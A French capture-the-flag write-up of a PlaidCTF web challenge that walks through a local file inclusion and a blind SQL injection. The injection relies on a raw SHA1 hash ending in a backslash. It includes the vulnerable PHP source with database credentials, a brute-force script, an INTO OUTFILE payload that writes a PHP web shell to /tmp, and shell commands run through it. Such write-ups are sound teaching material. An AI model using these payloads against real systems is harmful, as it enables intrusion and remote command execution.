Ce week-end j’ai fait le PlaidCTF avec Zenk-Security.
Dans l’ensemble CTF assez sympa avec énormément d’épreuves dans toutes les catégories.

J’ai commencé directement sur la première épreuve web ouverte, que j’ai trouvée assez sympa même si j’ai pas mal bataillé dessus. Le nombre de validations n’était pas excessif et les organisateurs ont même hésité à filer un indice.
Edit: Au début les doubles quotes ne marchaient pas (ils ont eu des problèmes avec l’épreuve ils ont enlevé le htmlentities) donc j’ai résolu l’épreuve autrement comme elle aurait pu (dû) se faire, avec la sha1 en raw data.

On avait une page:
http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/index
On remarque rapidement la LFI car
http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/../pages/index
affichait la bonne page.

On s’aperçoit également que
http://a11.club.cc.cmu.edu:32065/pages/index
nous donne le code source de index du fait de l’absence d’extension (index est un fichier et non un répertoire).

<!--?php
 
if(!empty($_POST['username']) &#038;& !empty($_POST['password']))
{
	$password = sha1($_POST['password'], true);
	$username = htmlspecialchars($_POST['username']);
 
	$db = mysql_connect("localhost", "problem1", "css7UjBmevbm");
	mysql_select_db("problem1",$db);
	$rs = mysql_query("SELECT * FROM authtable WHERE password = \"$password\" AND username = \"{$_POST['username']}\"");
 
	if(mysql_num_rows($rs) <= 0)
		echo 'Wrong username/password.';
	else
		echo "Welcome {$_POST['username']}.";
}
?-->
<form method="post">
	Username:
<input maxlength="10" name="username" type="textbox" />
 
	Password:
<input maxlength="10" name="password" type="textbox" />
<input name="submit" type="submit" />
</form>
 
Notices:
 
This system is now using the advanced SHA1 encryption function. Call the helpdesk if you need to change your password.

J’ai directement tilté sur:

$password = sha1($_POST['password'], true);

En effet j’avais déjà fait une épreuve dans ce genre là au Leetmore CTF (Oh Those Admins).

Sauf que ici, il fallait agir un peu différemment, je m’explique.
Voici la requete:

$rs = mysql_query("SELECT * FROM authtable WHERE password = \"$password\" AND username = \"{$_POST['username']}\"");

Le deuxième argument de sha1() à true signifie qu’on récupère les données raw et non le code hexadécimal correspondant. Ainsi si l’on récupère un password dont le sha1 finit ou contient un antislash « \ », on pourra contrôler username (OR 1=1 — ) et faire ce que l’on veut, ainsi la requête deviendra:

SELECT * FROM authtable WHERE password = "RawData\" AND username = " OR 1=1 -- "

On implémente donc un compteur en php (boucle for) qui effectue un sha1 de tous les nombres et on cherche un backslash en dernier caractère.

<!--?php
 
for($i = 1; $i <= 2000000; $i++) {
	$hash = sha1($i);
	if(substr($hash, 38, 2) == "5c")  { // 5c == '\'
		echo $i." - ";
		die(sha1($i, true));
	}
}
 
die("fin");
?-->

sha1(17, true) contient un antislash en dernier caractère, parfait.

On met OR 1=1 — dans username et 17 dans password:

Si on met OR 1=2 ça ne marche pas (Wrong username/password).

On a donc une blind sql injection.
L’épreuve avait des problèmes dans les premières heures donc je m’étais mis en tête que les quotes ne marchaient pas et je me suis mis à bruteforcer toute la base de donnée via information_schema, en vain (méthode Bazooka).

J’ai également bruteforcé le fichier problem1.php à la recherche d’une clé avec mon ami kr0ch0u. Ce fut très long mais on a pu avoir accès à une partie intéressante du code source:

$path = realpath($_REQUEST['p']);
(strpos($path, "pages") !== false) or die("Invalid page.");

On apprend donc que le path dans la variable p doit contenir « pages ».
Une fois que je me suis rendu compte que les quotes marchaient, j’ai cherché à créer une backdoor dans /tmp, aidé de nico34 et kr0ch0u. Il fallait mettre dans le champ username:

UNION SELECT "<!--?php system($_GET['cmd']); ?-->",2,3,4 INTO OUTFILE "/tmp/pages202"+--+

Et enfin grâce à la LFI on avait cette fameuse clé.
http://a11.club.cc.cmu.edu:32065/problem1.php?p=/tmp/pages202&cmd=ls%20/
bin boot dev etc home initrd.img key lib lib64 lost+found media mnt opt proc root sbin selinux srv sys tmp usr var vmlinuz 2 3 4

http://a11.club.cc.cmu.edu:32065/problem1.php?p=/tmp/pages202&cmd=cat%20/key
IAMAMYSQLBITCH!! 2 3 4